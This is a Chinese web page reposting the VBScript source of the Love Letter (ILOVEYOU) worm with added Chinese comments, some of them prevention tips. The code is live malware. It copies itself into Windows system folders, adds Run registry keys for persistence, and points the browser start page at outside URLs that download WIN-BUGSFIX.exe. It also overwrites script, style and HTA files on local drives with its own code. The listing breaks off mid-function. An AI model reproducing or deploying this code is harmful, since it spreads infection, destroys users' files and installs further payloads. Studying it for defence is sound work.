Love Letter病毒源代码

发表这篇文章的目的在于让各位了解Love Letter, 并且有效地予以预防 。
' 如果认为本文章可能被坏人利用，请予以删除。
' 程序中的中文注释为本人所加，并针对病毒特点予以解释，同时，给出了预防病毒的方法。
' 我个人认为Love Letter写的并不是十分的棒，但是它使用的不少技术确实令人赞叹
' 病毒作者也许没有受过专业的编程训练，但是从选择的程序资源来看，确实下了一番功夫。
' 本病毒源码也可以用来回答VB爱好者的很多问题。

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注释：程序作者的签名（可能）

On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注释：FileSystemObject是M$ VBVM系统中最危险的部分，它的功能十分强大

' 从病毒使用FSO可以知道，通过修改注册表，可以轻易防止 Love Letter发作。


set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
' 注释 - 程序初始化完成。

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
' 注释 - 防止操作超时造成的程序终止。
' 应该说，编写病毒的程序员考虑到了可能发生的问题，这一点值得所有的编程
者借鉴。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 获取系统关键文件夹的名称
' VB编程时可以用。

Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
' 复制自身到关键目录中备用。
' 文件名并不是很好。太容易被发现了。

regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注册表，以便自动装载病毒程序
' 预防：经常检查注册表中的这一分支。
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进，
' 因为它不会因为语言问题而失效。
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkboPBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqWebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
\Start Page","about:blank"
end if
end sub
sub listadriv
' 遍历所有驱动器。
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
' 执行传染文件的操作。
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,MP3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有